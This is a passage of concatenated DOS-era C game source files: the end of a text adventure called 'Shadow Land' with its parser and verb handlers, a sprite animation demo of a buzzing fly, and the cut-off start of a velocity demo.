// build up output string
for (index=start; index<end; index++)
{
output[index-start] = toupper(input[index]);
} // end copy string
// place terminator
output[index-start] = 0;
// update current string position
*current_pos = end;
return(end);
} // end Get_Token
///////////////////////////////////////////////////////////////////////////////
int Extract_Tokens(char *string)
{
// this function breaks the input string down into tokens and fills up
// the global sentence array with the tokens so that it can be processed
int curr_pos=0, // current position in string
curr_token=0, // current token number
found, // used to flag if the token is valid in language
index; // loop index
char output[16];
// reset number of tokens and clear the sentence out
num_tokens=0;
for (index=0; index<8; index++)
sentence[index]=0;
// extract all the words in the sentence (tokens)
while(Get_Token(string,output,&curr_pos))
{
// test to see if this is a valid token
for (index=0,found=0; index<NUM_TOKENS; index++)
{
// do we have a match?
if (strcmp(output,language[index].symbol)==0)
{
// set found flag
found=1;
// enter token into sentence
sentence[curr_token++] = language[index].value;
// printf("\nEntering %s, %d in sentence",
// output,language[index].value);
break;
} // end if
} // end for index
// test if token was part of language (grammar)
if (!found)
{
printf("\n%s, I don't know what \"%s\" means.",you.name
,output);
// failure
return(0);
} // end if not found
// else
num_tokens++;
} // end while
} // end Extract_Tokens
///////////////////////////////////////////////////////////////////////////////
void Verb_Parser(void)
{
// this function breaks down the sentence and based on the verb calls the
// appropriate "method" or function to apply that verb
// note: syntactic analysis could be done here, but I decided to place it
// in the action verb functions, so that you can see the way the errors are
// detected for each verb (even though there is a a lot of redundancy)
// what is the verb?
switch(sentence[FIRST_WORD])
{
case ACTION_MOVE:
{
// call the appropriate function
Verb_MOVE();
} break;
case ACTION_TURN:
{
// call the appropriate function
Verb_TURN();
} break;
case ACTION_SMELL:
{
// call the appropriate function
Verb_SMELL();
} break;
case ACTION_LOOK:
{
// call the appropriate function
Verb_LOOK();
} break;
case ACTION_LISTEN:
{
// call the appropriate function
Verb_LISTEN();
} break;
case ACTION_PUT:
{
// call the appropriate function
Verb_PUT();
} break;
case ACTION_GET:
{
// call the appropriate function
Verb_GET();
} break;
case ACTION_EAT:
{
// call the appropriate function
Verb_EAT();
} break;
case ACTION_WHERE:
{
// call the appropriate function
Verb_WHERE();
} break;
case ACTION_INVENTORY:
{
// call the appropriate function
Verb_INVENTORY();
} break;
case ACTION_EXIT:
{
// call the appropriate function
Verb_EXIT();
} break;
default:
{
printf("\n%s, you must start a sentence with an action verb!",
you.name);
return;
} break;
} // end switch
} // end Verb_Parser
// THE ACTION VERBS ///////////////////////////////////////////////////////////
int Verb_MOVE(void)
{
// this function will figure out which way the player wants to move,
// then move the player and test for syntax errors
int token_index, // current token being processed
dx,dy; // ised to hold translation factors
// these look up tables are used to compute the translation factors
// needed to move the player in the requested direction based on the
// current direction, the problem occurs since the directives are not
// absolute directions, they are relative to the direction the player
// is facing
static int forward_x[]={1,-1,0,0};
static int forward_y[]={0,0,-1,1};
static int backward_x[]={-1,1,0,0};
static int backward_y[]={0,0,1,-1};
static int left_x[]={0, 0,-1,1};
static int left_y[]={-1,1,0,0};
static int right_x[]={0,0,1,-1};
static int right_y[]={1,-1,0,0};
// test if player didn't say which way, if so just move forward
// this functionality was added after the fact so is a slight cludge
// it is accomplished by synthetically inserting the direction "forward" into
// the sentence
if (num_tokens==1)
{
// no direction given so assume forward
sentence[SECOND_WORD] = DIR_2_FORWARD;
num_tokens++;
} // end if no direction
// begin further processing to figure out direction
// check if the next word is a direction and if so move in that
// direction
// first test if the words 'to' or 'to the' are inserted bewteen action
// verb and noun (object). In this case the phrase "move to the right"
// sounds ok and should be passed, but "move to the forward" will also
// be passed even though it is grammatically incorrent, but that's life
token_index=1;
if (Check_For_Phrase(PHRASE_TO_THE,token_index))
{
// consume preposition since it has to bearing on the final
// meaning sentence
// index token scan to directon
token_index=3;
} // end if prep and article
else
if (Check_For_Phrase(PHRASE_TO,token_index))
{
// consume preposition since it has to bearing on the final
// meaning sentence
// index token scan to directon
token_index=2;
} // end if prep
// at this point the token_index is pointing to the direction
if (sentence[token_index] >= DIR_2_START &&
sentence[token_index] <= DIR_2_END)
{
// at this point we finally know what the user is asking for, so
// let's do it
// based on direction asked for do movement and collision detection
// note: the use of look up tables to decrease the complexity of the
// conditional logic
dx=dy=0;
switch(sentence[token_index])
{
case DIR_2_FORWARD: // move player forward
{
// compute translation factors using look up tables
dx = forward_x[you.direction];
dy = forward_y[you.direction];
} break;
case DIR_2_BACKWARD: // move player backward
{
// compute translation factors using look up tables
dx = backward_x[you.direction];
dy = backward_y[you.direction];
} break;
case DIR_2_RIGHT: // parry right
{
// compute translation factors using look up tables
dx = right_x[you.direction];
dy = right_y[you.direction];
} break;
case DIR_2_LEFT: // parry left
{
// compute translation factors using look up tables
dx = left_x[you.direction];
dy = left_y[you.direction];
} break;
} // end switch direction of motion
// based on the translation factors move the player
you.x+=dx;
you.y+=dy;
// test for collision with a wall
if (universe_geometry[you.y][you.x]==WALL_ID)
{
// let' user know he hit a wall
printf("\nOuch! that hurt. Can't you see this wall %s?\n",you.name);
// back player up
you.x-=dx;
you.y-=dy;
} // end collision detection
else
{
printf("\nYou take a few steps.\n");
} // end else ok
return(1);
} // end if direction is valid
else
{
printf("\n%\"%s\" is an invalid sentence.",global_input);
printf("\nI don't understand the direction you wish me to move in?");
return(0);
} // end else invalid direction
} // end Verb_MOVE
////////////////////////////////////////////////////////////////////////////////
int Verb_TURN(void)
{
// this function will figure out which way the player wants to turn,
// then turn the player and test for syntax errors
int token_index;
// if the player look in general then give him the full view, otherwise
// look for walls and objects
token_index=0;
// first test for a direction
if (num_tokens==1)
{
// no direction, so tell user to give one next time
printf("\n%s, I don't know which way to turn?\n",you.name);
return(0);
} // end if only turn
else
{
// check if the next word is a direction and if so turn in that
// direction
// first test if the words 'to' or 'to the' are inserted bewteen action
// verb and noun (object)
token_index=1;
if (Check_For_Phrase(PHRASE_TO_THE,token_index))
{
// consume preposition since it has to bearing on the final
// meaning sentence
// index token scan to directon
token_index=3;
} // end if prep and article
else
if (Check_For_Phrase(PHRASE_TO,token_index))
{
// consume preposition since it has to bearing on the final
// meaning sentence
// index token scan to directon
token_index=2;
} // end if prep
// at this point the token_index is pointing to the direction
if (sentence[token_index] >= DIR_1_START &&
sentence[token_index] <= DIR_1_END)
{
// at this point we finally know what the user is asking for, so
// let's do it
// update the players direction based on new direction
you.direction = sentence[token_index]-DIR_1_START;
printf("\nYou turn...");
return(1);
} // end if direction is valid
else
{
printf("\n%\"%s\" is an invalid sentence.",global_input);
printf("\nI don't understand the direction you wish me to turn to?");
return(0);
} // end else invalid direction
} // end else
} // end Verb_TURN
////////////////////////////////////////////////////////////////////////////////
int Verb_SMELL(void)
{
// this function will just smell without paying attention to the rest
// of the sentence
if (num_tokens==1)
{
Print_Info_Strings(smells,universe_geometry[you.y][you.x]);
return(1);
} // end if smell
else
{
printf("\n%\"%s\" is an invalid sentence.",global_input);
printf("\nI don't understand what you want me to smell?");
return(0);
} // end else invalid
} // end Verb_SMELL
////////////////////////////////////////////////////////////////////////////////
int Verb_LOOK(void)
{
// this function will look in the direction commanded to
int token_index, // current word being processed
direction, // direction player wants to look
num_items, // number of objects seen during vision scan
index; // used as look index
object objects[8]; // holds the objects
// if the player look in general then give him the full view, otherwise
// look for walls and objects
token_index=0;
// first test for a direction
if (num_tokens==1)
{
// no direction, so give long version
Print_Info_Strings(views,universe_geometry[you.y][you.x]);
return(1);
} // end if only look
else
{
// check if the next word is a direction and if so look in that
// direction
// first test if the words 'to' or 'to the' are inserted bewteen action
// verb and noun (object)
token_index=1;
if (Check_For_Phrase(PHRASE_TO_THE,token_index))
{
// consume preposition since it has to bearing on the final
// meaning sentence
// index token scan to directon
token_index=3;
} // end if prep and article
else
if (Check_For_Phrase(PHRASE_TO,token_index))
{
// consume preposition since it has to bearing on the final
// meaning sentence
// index token scan to directon
token_index=2;
} // end if prep
// at this point the token_index is pointing to the direction
if (sentence[token_index] >= DIR_1_START &&
sentence[token_index] <= DIR_1_END)
{
// at this point we finally know what the user is asking for, so
// let's do it
printf("\nYou see walls");
// compute direction
direction = sentence[token_index] - DIR_1_START;
// test if there are any objects in sight
if (Vision_System(24,direction,objects,&num_items))
{
// print out what was seen
printf(" and,");
for (index=0; index<num_items; index++)
{
// print out the correct description
switch(objects[index].thing)
{
case LAMP_ID:
{
printf("\na torch lamp.");
} break;
case KEYS_ID:
{
printf("\na set of car keys.");
} break;
case SANDWICH_ID:
{
printf("\na turkey sandwich.");
} break;
default:break;
} // end switch
} // end for index
} // end if we saw something
return(1);
} // end if direction is valid
else
{
printf("\n%\"%s\" is an invalid sentence.",global_input);
printf("\nI don't understand the direction you wish me to look in?");
return(0);
} // end else invalid direction
} // end else
} // end Verb_LOOK
////////////////////////////////////////////////////////////////////////////////
int Verb_LISTEN(void)
{
// this function will just listen without paying attention to the rest of
// the sentence
if (num_tokens==1)
{
Print_Info_Strings(sounds,universe_geometry[you.y][you.x]);
return(1);
} // end if sound
else
{
printf("\n%\"%s\" is an invalid sentence.",global_input);
printf("\nI don't understand what you want me to listen to?");
return(0);
} // end else invalid
} // end Verb_LISTEN
////////////////////////////////////////////////////////////////////////////////
int Verb_PUT(void)
{
// this function will put down the object requested
// this look up table is used to convert object token numbers into object id's
static char object_to_id[]={'l','s','k'};
int token_index, // current toek nbeing precessed
index; // loop index
char object; // object we are currently looking at
token_index=0;
// first test for a object
if (num_tokens==1)
{
// no object, so tell user to give one next time
printf("\n%s, I don't know what you want me to put down?\n",you.name);
return(0);
} // end if only put
else
{
// check if the next word is an object, if so put is down
// direction
// first test if the words 'down' or 'down the' are inserted bewteen action
// verb and noun (object)
token_index=1;
if (Check_For_Phrase(PHRASE_DOWN_THE,token_index))
{
// consume preposition since it has to bearing on the final
// meaning sentence
// index token scan to object
token_index=3;
} // end if prep and article
else
if (Check_For_Phrase(PHRASE_DOWN,token_index))
{
// consume preposition since it has to bearing on the final
// meaning sentence
// index token scan to object
token_index=2;
} // end if prep
// at this point the token_index is pointing to the object
if (sentence[token_index] >= OBJECT_START &&
sentence[token_index] <= OBJECT_END)
{
// at this point we finally know what the user is asking for, so
// let's do it
// check to see if object is in inventory..if so then put it down
// in the current square
// first convert object token to object id
object = object_to_id[sentence[token_index]-OBJECT_START];
// do scan in pockets
for (index=0; index<you.num_objects; index++)
{
// test if this pocket has the object we are looking for
if (you.inventory[index]==object)
{
// take object out of pocket
you.inventory[index] = EMPTY_ID;
// decrement number of objects
you.num_objects--;
// place the object back into object universe
universe_objects[you.y][you.x] = object;
// say something
printf("\nPutting down the ");
switch(object)
{
case LAMP_ID:
{printf("torch lamp.\n");}break;
case SANDWICH_ID:
{printf("sandwich.\n");}break;
case KEYS_ID:
{printf("keys.\n");}break;
default:break;
} // end switch
// **************************************************************
// if the player puts the keys in the kitchen where they should be
// then he will win! Test that condition here
if (object==KEYS_ID && universe_geometry[you.y][you.x]=='k')
{
printf("\nCongratulation %s! You have solved the game.\n",you.name);
} // end if win
// **************************************************************
return(1);
} // end if found object
} // end for index
// if we get this far then the player wasn't carrying the requested
// object to be dropped
printf("\n%s, you don't have that to drop!\n",you.name);
return(1);
} // end if object is valid
else
{
printf("\n%\"%s\" is an invalid sentence.",global_input);
printf("\nI don't understand the object you wish me to put down?");
return(0);
} // end else invalid object
} // end else
} // end Verb_PUT
////////////////////////////////////////////////////////////////////////////////
int Verb_GET(void)
{
// this function will get the object in the current square
object objects[8]; // the objects within reaching distance of player
// this look up table is used to convert object token numbers into object id's
static char object_to_id[]={'l','s','k'};
int token_index=0, // current token being processed
index, // loop index
index_2, // loop index
num_items; // number of items found during vision scan
char object; // item we are currently looking at
// first test for a object
if (num_tokens==1)
{
// no object, so ask what get
printf("\n%s, what do you want me to pick up?\n",you.name);
return(1);
} // end if only get
else
{
// check if the next word is an object
// first test if the word 'the' is inserted bewteen action
// verb and noun (object)
token_index=1;
if (Check_For_Phrase(PHRASE_THE,token_index))
{
// consume article since it has to bearing on the final
// meaning sentence
// index token scan to directon
token_index=2;
} // end if article
// at this point the token_index is pointing to the object to pick up
if (sentence[token_index] >= OBJECT_START &&
sentence[token_index] <= OBJECT_END)
{
// at this point we finally know what the user is asking for, so
// let's do it
// using vision system scan forward a depth of 2 units this will simulate
// the player reaching for the object within a reasonable radius
// convert object to id
object = object = object_to_id[sentence[token_index]-OBJECT_START];
// do forward radial scan
if (Vision_System(3,you.direction,objects,&num_items))
{
// test if the object we desire to pick up is within the objects array
for (index=0; index<num_items; index++)
{
// is this what player wants to pick up?
if (object==objects[index].thing)
{
// remove object from universe
universe_objects[objects[index].y][objects[index].x] = EMPTY_ID;
// update players inventory (find an empty pocket and place
// object in it)
for (index_2=0; index_2<8; index_2++)
{
if (you.inventory[index_2]==EMPTY_ID)
{
// put it in pocket
you.inventory[index_2]=object;
you.num_objects++;
break;
} // end if an open spot was found
} // end for index_2
// let user know it was picked up
printf("\nGot it!\n");
return(1);
} // end if object found
} // end for index
} // end if any objects within reach
else
{
printf("\nYou are too far from it!\n");
return(0);
} // end else can't reach
} // end if object is valid
else
{
printf("\nI don't understand what you want me to pick up?");
return(0);
} // end else invalid object
} // end else
} // end Verb_GET
////////////////////////////////////////////////////////////////////////////////
int Verb_EAT(void)
{
// the function will eat the object it is directed to
// this look up table is used to convert object token numbers into object id's
static char object_to_id[]={'l','s','k'};
int token_index=0, // current token being processed
index; // loop index
char object; // object we are currently looking at
// first test for a direction
if (num_tokens==1)
{
// no object, so ask what to eat
printf("\n%s, what do you want me to eat?\n",you.name);
return(1);
} // end if only eat
else
{
// check if the next word is an object
// first test if the word 'the' is inserted bewteen action
// verb and noun (object)
token_index=1;
if (Check_For_Phrase(PHRASE_THE,token_index))
{
// consume article since it has to bearing on the final
// meaning sentence
// index token scan to directon
token_index=2;
} // end if article
// at this point the token_index is pointing to the object to eat
if (sentence[token_index] >= OBJECT_START &&
sentence[token_index] <= OBJECT_END)
{
// at this point we finally know what the user is asking for, so
// let's do it
// scan thru the inventory and test if the player is carrying the
// object. Actually, the only thing he can eat is the sandwich, but
// we need a little comedy relief and this is a good place for it
for (index=0; index<8; index++)
{
// test if this pocket has object we are interested in
// first convert object token to object id
object = object_to_id[sentence[token_index]-OBJECT_START];
if (you.inventory[index]==object)
{
switch(you.inventory[index])
{
case LAMP_ID:
{
printf("\nI don't think I can fit this 6 foot long lamp in my mouth!\n");
return(1);
} break;
case KEYS_ID:
{
printf("\nIf you say so...gulp\n");
// extract keys from pocket
you.inventory[index]= EMPTY_ID;
// decrement number of objects on player
you.num_objects--;
return(1);
} break;
case SANDWICH_ID:
{
printf("\nThat was good, but it needed more mustard.\n");
// extract sanwich from pocket
you.inventory[index]= EMPTY_ID;
// decrement number of objects on player
you.num_objects--;
return(1);
} break;
} // end switch pockets
} // end if this is the object
} // end for index
// didn't find the object
printf("\nI would really like to eat that, but you don't seem to have one.\n");
return(1);
} // end if object is valid
else
{
printf("\nI don't understand what you want me to eat?");
return(0);
} // end else invalid object
} // end else
} // end Verb_EAT
////////////////////////////////////////////////////////////////////////////////
int Verb_WHERE(void)
{
// the function tells the player where he is
// based on the tile the player is standing on in the geometry array
// indicate where he is
if (num_tokens==1)
{
// what room is player in
switch(universe_geometry[you.y][you.x])
{
case 'l': //- living room
{
printf("\n\nYou are in the living room");
} break;
case 'b': //- bedroom
{
printf("\n\nYou are in the bedroom");
} break;
case 'k': //- kitchen
{
printf("\n\nYou are in the kitchen");
} break;
case 'w': //- washroom
{
printf("\n\nYou are in the washroom");
} break;
case 'h': //- hall way
{
printf("\n\nYou are in the hallway");
} break;
case 'r': //- restroom
{
printf("\n\nYou are in the master bathroom");
} break;
case 'e': //- entry way
{
printf("\n\nYou are in the entry way");
} break;
case 'o': //- office
{
printf("\n\nYou are in the computer office");
} break;
default:break;
} // end switch
// now state the direction
switch(you.direction)
{
case EAST:
{
printf(" facing East.\n");
} break;
case WEST:
{
printf(" facing West.\n");
} break;
case NORTH:
{
printf(" facing North.\n");
} break;
case SOUTH:
{
printf(" facing South.\n");
} break;
default:break;
} // end switch
return(1);
} // end if a valid sentence structure
else
{
printf("\n%\"%s\" is an invalid sentence.",global_input);
printf("\n%s, I just don't get it?",you.name);
return(0);
} // end else invalid
} // end Verb_WHERE
////////////////////////////////////////////////////////////////////////////////
int Verb_INVENTORY(void)
{
// this function will print out the current inventory
int index; // loop index
// print out the inventory and then test if the player typed too many words
// if so complain a little
printf("\nYou have the following items within your possesion.\n");
// scan thru inventory array and print out the objects that the player is
// holding
for (index=0; index<8; index++)
{
// test if this "pocket" has an object in it
switch(you.inventory[index])
{
case LAMP_ID:
{
printf("\nA torch lamp.");
} break;
case KEYS_ID:
{
printf("\nA set of car keys.");
} break;
case SANDWICH_ID:
{
printf("\nA turkey sandwich.");
} break;
default:break;
} // end switch
} // end for index
// test if player has nothing on him
if (you.num_objects==0)
printf("\nYour pockets are empty %s.",you.name);
// test if there are too many words
if (num_tokens>1)
printf("\n%s, all you hade to say was \"Inventory!\"",you.name);
return(1);
} // end Verb_INVENTORY
////////////////////////////////////////////////////////////////////////////////
int Verb_EXIT(void)
{
// this function sets the global exit and terminates the game
global_exit=1;
return(1);
} // end Verb_EXIT
////////////////////////////////////////////////////////////////////////////////
int Vision_System(int depth, // depth of scan
int direction, // direction of scan N,E,S,W
object *stuff, // objects seen in scan
int *num_objects) // number of objects seen in scan
{
// this function is rather complex. It is responsible for the vision of
// the player. It works by scanning a upside down pryamid of squares in
// front of the player. The objects within this vision window will be
// returned in the objects array along withe the number of them.
// the vision window is built up by consequtively scanning rows of blocks
// in the geometry universe along with testing the objects universe for
// instances of objects. It is sort of like ray casting, but the distance
// is irrelevant and only four directions are used. For example if the
// player was looking north and a depth of 3 was sent for the scan then the
// scan pattern would look like:
//
// .....
// ...
// P
// where 'P' is the position of player and the '.' is a scanned block
// similary a scan of depth 5 to the east would like like
// .
// ..
// ...
// ....
// ....P
// ....
// ...
// ..
// .
// note: the field of view (FOV) will always be 90 degrees
// anyway the function is basically used for the "LOOK" verb and the "GET"
// verb and I admit that the code is redundant for each case, but to merge
// it all would make it too hard to follow!
int x,y, // used to hold current universe cell location
index, // loop index
scan_level; // current level or iteration of the scan
*num_objects=0;
// which direction is vision requested in?
switch(direction)
{
case NORTH:
{
// scan like this
// .....
// ...
// P
for (y=you.y,scan_level=0; y>=(you.y-depth); y--,scan_level++)
{
for (x=you.x-scan_level; x<=you.x+scan_level; x++)
{
// x,y is test point, make sure it is within the universe
// boundaries and within the same room
if (x>=1 && x<NUM_COLUMNS-1 &&
y>=1 && x<NUM_ROWS-1 &&
universe_geometry[y][x]==universe_geometry[you.y][you.x])
{
// test to see if square has an object in it
if (universe_objects[y][x]!=' ')
{
// insert the object into object list
stuff[*num_objects].thing = universe_objects[y][x];
stuff[*num_objects].x = x;
stuff[*num_objects].y = y;
// increment the number of objects
(*num_objects)++;
} // end if an object was found
} // end if in boundaries
} // end for x
} // end for y
// return number of objects found
return(*num_objects);
} break;
case SOUTH:
{
// scan like this
// P
// ...
//.....
for (y=you.y,scan_level=0; y<=(you.y+depth); y++,scan_level++)
{
for (x=you.x-scan_level; x<=you.x+scan_level; x++)
{
// x,y is test point, make sure it is within the universe
// boundaries
if (x>=1 && x<NUM_COLUMNS-1 &&
y>=1 && x<NUM_ROWS-1 &&
universe_geometry[y][x]==universe_geometry[you.y][you.x])
{
// test to see if square has an object in it
if (universe_objects[y][x]!=' ')
{
// insert the object into object list
stuff[*num_objects].thing = universe_objects[y][x];
stuff[*num_objects].x = x;
stuff[*num_objects].y = y;
// increment the number of objects
(*num_objects)++;
} // end if an object was found
} // end if in boundaries
} // end for x
} // end for y
// return number of objects found
return(*num_objects);
} break;
case EAST:
{
// scan like this
// .
// ..
// P..
// ..
// .
for (x=you.x,scan_level=0; x<=(you.x+depth); x++,scan_level++)
{
for (y=you.y-scan_level; y<=you.y+scan_level; y++)
{
// x,y is test point, make sure it is within the universe
// boundaries
if (x>=1 && x<NUM_COLUMNS-1 &&
y>=1 && x<NUM_ROWS-1 &&
universe_geometry[y][x]==universe_geometry[you.y][you.x])
{
// test to see if square has an object in it
if (universe_objects[y][x]!=' ')
{
// insert the object into object list
stuff[*num_objects].thing = universe_objects[y][x];
stuff[*num_objects].x = x;
stuff[*num_objects].y = y;
// increment the number of objects
(*num_objects)++;
} // end if an object was found
} // end if in boundaries
} // end for y
} // end for x
// return number of objects found
return(*num_objects);
} break;
case WEST:
{
// scan like this
// .
// ..
// ..P
// ..
// .
//
for (x=you.x,scan_level=0; x>=(you.x-depth); x--,scan_level++)
{
for (y=you.y-scan_level; y<=you.y+scan_level; y++)
{
// x,y is test point, make sure it is within the universe
// boundaries
if (x>=1 && x<NUM_COLUMNS-1 &&
y>=1 && x<NUM_ROWS-1 &&
universe_geometry[y][x]==universe_geometry[you.y][you.x])
{
// test to see if square has an object in it
if (universe_objects[y][x]!=' ')
{
// insert the object into object list
stuff[*num_objects].thing = universe_objects[y][x];
stuff[*num_objects].x = x;
stuff[*num_objects].y = y;
// increment the number of objects
(*num_objects)++;
} // end if an object was found
} // end if in boundaries
} // end for y
} // end for x
// return number of objects found
return(*num_objects);
} break;
} // end switch direction
} // end Vision_System
////////////////////////////////////////////////////////////////////////////////
int Check_For_Phrase(int phrase,int index)
{
// this function is used to test for small phrases that when extracted don't
// change the measning of a sentence for example:"look to the west" and
// "loo west" and "look to west" all mean the same thing.
// test which phrase is to be checked
switch(phrase)
{
case PHRASE_TO: // have we found the prep. "to"
{
if (sentence[index]==PREP_TO)
return(1);
} break;
case PHRASE_THE: // have we found the article "the"
{
if (sentence[index]==ART_THE)
return(1);
} break;
case PHRASE_DOWN: // have we found the prep/adj "down"
{
if (sentence[index]==PREP_DOWN)
return(1);
} break;
case PHRASE_TO_THE: // have we found the prep. phrase "to the"
{
if (sentence[index]==PREP_TO)
{
if (sentence[index+1]==ART_THE)
return(1);
else
return(0);
} // end if got "to the"
} break;
case PHRASE_DOWN_THE: // have we found the prep. phrase "down the"
{
if (sentence[index]==PREP_DOWN)
{
if (sentence[index+1]==ART_THE)
return(1);
else
return(0);
} // end if got "down the"
} break;
default:break; // there is a serious problem!
} // end switch
// we have failed
return(0);
} // end Check_For_Phrase
///////////////////////////////////////////////////////////////////////////////
void Print_Info_Strings(info_string strings[],char where)
{
// this function will print the info strings out of the sent array based
// on the the current location of the player i.e. bedroom, kitchen etc.
int index=0;
printf("\n");
// traverse list and print all string relating to this room
while(strings[index].type!='X')
{
// should this string be printed
if (strings[index].type==where)
{
printf("\n%s",strings[index].string);
} // end if this is a relevant string
// next string
index++;
} // end while
printf("\n");
} // end Print_Info_Strings
///////////////////////////////////////////////////////////////////////////////
void Introduction(void)
{
int index;
for (index=0; index<50; index++,printf("\n"));
// make the screen blue with white characters
printf("%c%c37;44m",27,91);
printf("\n SSSSSSSSSS H H AAAAAAAA DDDDD OOOOOOOO W W");
printf("\n S H H A A D D O O W W");
printf("\n S H H A A D D O O W W");
printf("\n S H H A A D D O O W W");
printf("\n S H H A A D D O O W W");
printf("\n SSSSSSSSSS HHHHHHHH AAAAAAAA D D O O W W");
printf("\n S H H A A D D O O W W");
printf("\n S H H A A D D O O W W W");
printf("\n S H H A A D D O O W W W");
printf("\n S H H A A D D O O W W W");
printf("\n S H H A A D D O O W W W");
printf("\n SSSSSSSSSS H H A A DDDDD OOOOOOOO WWWWWWWWW");
printf("\n ");
printf("\n L AAAAAAA NNNNNNN DDDDDD ");
printf("\n L A A N N D D ");
printf("\n L A A N N D D ");
printf("\n L A A N N D D ");
printf("\n L AAAAAAA N N D D ");
printf("\n L A A N N D D ");
printf("\n L A A N N D D ");
printf("\n L A A N N D D ");
printf("\n LLLLLLL A A N N DDDDD ");
printf("\n ");
printf("\n By <NAME> ");
while(!kbhit());
for (index=0; index<50; index++,printf("\n"));
} // end Introduction
// M A I N /////////////////////////////////////////////////////////////////////
void main(void)
{
// call up intro
Introduction();
printf("\n\nWelcome to the world of S H A D O W L A N D...\n\n\n");
// obtain users name to make game more personal
printf("\nWhat is your first name?");
scanf("%s",you.name);
// main event loop,note: it is NOT real-time
while(!global_exit)
{
// put up an input notice to user
printf("\n\nWhat do you want to do?");
// get the line of text
Get_Line(global_input);
printf("\n");
// break the text down into tokens and build up a sentence
Extract_Tokens(global_input);
// parse the verb and execute the command
Verb_Parser();
} // end main event loop
printf("\n\nExiting the universe of S H A D O W L A N D...see you later %s.\n",you.name);
// restore screen color
printf("%c%c37;40m",27,91);
} // end main
<file_sep>/day_10/thefly.c
// I N C L U D E S ///////////////////////////////////////////////////////////
#include <io.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
#include <bios.h>
#include <fcntl.h>
#include <memory.h>
#include <malloc.h>
#include <math.h>
#include <string.h>
#include "graph3.h" // include our graphics stuff
#include "graph4.h"
#include "graph6.h"
// G L O B A L S ////////////////////////////////////////////////////////////
pcx_picture imagery_pcx, // the game imagery
background_pcx; // the backdrop
// the sprites used in the game
sprite thefly; // the fly
int fly_xv=5, // the velocity of the fly
fly_yv=5,
fly_clock=10; // how many cycles of frames fly will
// move in current direction
// F U N C T I O N S //////////////////////////////////////////////////////////
void main(void)
{
// this is the main function
// SECTION 1 /////////////////////////////////////////////////////////////////
// set video mode to 320x200 256 color mode
Set_Video_Mode(VGA256);
// create a double buffer
if (!Create_Double_Buffer(SCREEN_HEIGHT))
{
printf("\nNot enough memory to create double buffer.");
} // end if
// clear the double buffer
Fill_Double_Buffer(0);
// load in the background image into the double buffer
PCX_Init((pcx_picture_ptr)&background_pcx);
PCX_Load("flybak.pcx", (pcx_picture_ptr)&background_pcx,1);
// copy the background into the double buffer
_fmemcpy((char far *)double_buffer,
(char far *)(background_pcx.buffer),
SCREEN_WIDTH*SCREEN_HEIGHT);
PCX_Delete((pcx_picture_ptr)&background_pcx);
Blit_String_DB(8,8,0,"Press any key to exit.",1);
// SECTION 2 /////////////////////////////////////////////////////////////////
// load in imagery for the fly
PCX_Init((pcx_picture_ptr)&imagery_pcx);
PCX_Load("flyimg.pcx", (pcx_picture_ptr)&imagery_pcx,1);
// initialize fly and extract bitmaps
sprite_width = 36;
sprite_height = 36;
Sprite_Init((sprite_ptr)&thefly,0,0,0,0,0,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,(sprite_ptr)&thefly,0,0,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,(sprite_ptr)&thefly,1,1,0);
thefly.x = 160;
thefly.y = 100;
thefly.curr_frame = 0;
thefly.state = 1;
// SECTION 3 /////////////////////////////////////////////////////////////////
// scan behind all objects before entering event loop
Behind_Sprite_DB((sprite_ptr)&thefly);
// main event loop
while(!kbhit())
{
// erase all objects
Erase_Sprite_DB((sprite_ptr)&thefly);
// move the fly
thefly.x+=fly_xv;
thefly.y+=fly_yv;
// SECTION 4 /////////////////////////////////////////////////////////////////
// check if it's time to change direction
if (--fly_clock==0)
{
// select a new direction
fly_xv = -10 + rand()%21; // -10 to +10
fly_yv = -10 + rand()%21; // -10 to +10
// select an amount of time to do it
fly_clock = 5 + rand()%50;
} // end if time to change direction
// SECTION 5 /////////////////////////////////////////////////////////////////
// do boundary collision for thefly, if it hits an edge bounce it back
if (thefly.x<0 || thefly.x>294)
{
// bounce fly back
fly_xv=-fly_xv;
thefly.x=thefly.x+2*fly_xv;
} // end if over x boundary
if (thefly.y<0 || thefly.y>164)
{
// bounce fly back
fly_yv=-fly_yv;
thefly.y=thefly.y+2*fly_yv;
} // end if over y boundary
// do animation of the fly
if (++thefly.curr_frame==2)
thefly.curr_frame = 0;
// SECTION 6 /////////////////////////////////////////////////////////////////
// scan background under objects
Behind_Sprite_DB((sprite_ptr)&thefly);
// draw all the imagery
Draw_Sprite_DB((sprite_ptr)&thefly);
// copy the double buffer to the screen
Show_Double_Buffer(double_buffer);
// wait a sec
Delay(1);
} // end while
// SECTION 7 /////////////////////////////////////////////////////////////////
// reset the video mode back to text
Set_Video_Mode(TEXT_MODE);
// free the double buffer
Delete_Double_Buffer();
} // end main
<file_sep>/day_13/velocity.c
// I N C L U D E S ///////////////////////////////////////////////////////////
#include <io.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
#include <bios.h>
#include <fcntl.h>
#include <memory.h>
#include <malloc.h>
#include <math.h>
#include <string.h>
#include "graph3.h" // include our graphics stuff
#include "graph4.h"
#include "graph6.h"
// P R O T O T Y P E S //////////////////////////////////////////////////////
// D E F I N E S /////////////////////////////////////////////////////////////
#define VELOCITY 4 // constant speed of ship
// S T R U C T U R E S ///////////////////////////////////////////////////////
// G L O B A L S ////////////////////////////////////////////////////////////
pcx_picture imagery_pcx, // the game imagery
background_pcx; // the backdrop
// the sprites used in the game
sprite object; // the object
// F U N C T I O N S //////////////////////////////////////////////////////////
void main(void)
{
// this is the main function
// SECTION 1 //////////////////////////////////////////////////////////////////
// set video mode to 320x200 256 color mode
Set_Video_Mode(VGA256);
// create a double buffer
if (!Create_Double_Buffer(SCREEN_HEIGHT))
{
printf("\nNot enough memory to create double buffer.");
} // end if
// clear the double buffer
Fill_Double_Buffer(0);
// SECTION 2 //////////////////////////////////////////////////////////////////
// load in the background image into the double buffer
PCX_Init((pcx_picture_ptr)&background_pcx);
PCX_Load("velback.pcx", (pcx_picture_ptr)&background_pcx,1);
// copy the background into the double buffer
_fmemcpy((char far *)double_buffer,
(char far *)(background_pcx.buffer),
SCREEN_WIDTH*SCREEN_HEIGHT);
PCX_Delete((pcx_picture_ptr)&background_pcx);
// load in imagery for object
PCX_Init((pcx_picture_ptr)&imagery_pcx);
PCX_Load("viper.pcx", (pcx_picture_ptr)&imagery_pcx,1);
// SECTION 3 //////////////////////////////////////////////////////////////////
// initialize player and extract bitmaps
sprite_width = 50;
sprite_height = 24;
